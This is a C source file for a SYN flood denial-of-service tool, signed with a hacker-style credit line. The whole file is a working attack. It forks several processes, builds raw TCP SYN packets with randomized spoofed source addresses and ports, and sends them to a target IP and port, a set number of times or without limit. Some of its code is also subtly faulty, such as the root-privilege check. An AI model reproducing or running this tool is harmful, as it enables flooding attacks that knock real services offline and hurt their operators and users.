#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
void usage();
void getUserPriv();
int getSrcPort();
const char credit[] = "made by th3 $^N|)M^N, gr33tz to all!!!";
struct packet {
unsigned short ihl:4;
unsigned short ver:4;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flag_offset;
unsigned char ttl;
unsigned char prot;
unsigned short ipsum;
unsigned long source;
unsigned long dest;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
char option[8];
};
FILE *fp;
main(int argc, char * argv[]){
getUserPriv(); //check user priv
if (argc < 5){
usage(); //exit if argument failure
}
int tmp = 1;
int forks = atoi(argv[3]);
/*forks defined here, depends on the number of threads user asked for.*/
for (tmp = 0; tmp < forks; tmp++) fork();
int a1,a2,a3,a4;
char a1s[20],a2s[20],a3s[20],a4s[20];
/*lets open da socket and define it be raw*/
int sockd = socket(PF_INET, SOCK_RAW, 6);
/*call HDRINCL and let the kernel know we do the talking :)*/
if (setsockopt (sockd, IPPROTO_IP, IP_HDRINCL, (char *)&tmp, sizeof (tmp)) < 0){
printf("Error in setting HDRINCL");
exit(0);
}
/*create packet struct */
struct packet synp;
bzero(&synp,sizeof(struct packet)); /*zero out the struct*/
/*init sin struct*/
struct sockaddr_in sin;
/*take host port and convert to unsigned short*/
unsigned short hport = atoi(argv[2]);
int packets = atoi(argv[4]); //number of packets
if (packets == 0) packets = -1; //if user wants infinite, set packets to -1
int counter = 0; //counter for the while loop.
printf("Syn Flooding: %s at port: %s\n", argv[1],argv[2]);
while(counter != packets){
synp.ihl = 5;
synp.ver = 4;
synp.len = htons(sizeof(struct packet));
synp.flag_offset = 0;
synp.prot = 6;
synp.flags = 2;
synp.ttl = 225;
synp.offset = 112;
synp.win = htons(65535);
synp.dport = htons(hport); //destination port...
//set packet options.
synp.option[0] = 2;
synp.option[1] = 4;
synp.option[2] = 5;
synp.option[3] = 0xB4;
synp.option[4] = 1;
synp.option[5] = 1;
synp.option[6] = 4;
synp.option[7] = 2;
synp.tcpsum = 0; //zero the sum for now...
register int count = (sizeof(struct packet)-20) >> 1,sum;
register unsigned short *p = &synp.sport;
int srcp = getSrcPort(); //generate random port.
//Generate Random Ip for src
a1 = (int)((rand()%(255-10+1)) + 10);
a2 = (int)((rand()%(255-10+1)) + 10);
a3 = (int)((rand()%(255-10+1)) + 10);
a4 = (int)((rand()%(255-10+1)) + 10);
sprintf(a1s, "%d", a1);
sprintf(a2s, "%d", a2);
sprintf(a3s, "%d", a3);
sprintf(a4s, "%d", a4);
strcat(a1s,".");
strcat(a2s,".");
strcat(a3s,".");
strcat(a1s,a2s);
strcat(a1s,a3s);
strcat(a1s,a4s);
//
synp.sport = htons(srcp); //source port [RANDOMIZED]
synp.source = inet_addr (a1s); //our source address [RANDOMIZED]
synp.seq = random();
synp.ack_seq = random();
synp.id = htons(1+255*((random()%256)|0xFF)); //random id
synp.dest = inet_addr (argv[1]);
sin.sin_family = AF_INET; /*define internet domain*/
sin.sin_port = synp.dport; /*define dest port.*/
sin.sin_addr.s_addr = synp.dest; /*define host address*/
/*calc header checksum*/
sum = (synp.source >> 16) + (synp.source & 0xffff) + (synp.dest >> 16) +
(synp.dest & 0xffff) + 1536 + htons(count << 1);
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
synp.tcpsum = ~(sum += (sum >> 16));
//
/*Send da baby*/
if (sendto (sockd,&synp,sizeof(struct packet),0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in)) < 0){
printf("Sendto error!");
exit(0);
}
counter = counter + 1;
}
}
/*usage func*/
void usage(){
printf("Usage:\n");
printf("./flux ip port threads amount_of_packets(0 = max)\n");
printf("./flux 111.222.333.444 80 3 500\n");
exit(0);
}
/*user priv func, just checking for root.*/
void getUserPriv(){
char command[80] = "whoami > priv";
char command2[80] = "rm priv";
char fname[30] = "priv";
char user[20];
system(command);
fp = fopen(fname, "r");
fscanf(fp, "%s",&user);
fclose(fp);
system(command2);
if (strcmp(user,"root") == 1){
printf("Need root privelages to run...\n");
exit(0);
}
}
/*random port generator func. */
int getSrcPort(){
int port = (rand()%(60000-2000+1)) + 2000;
return port;
}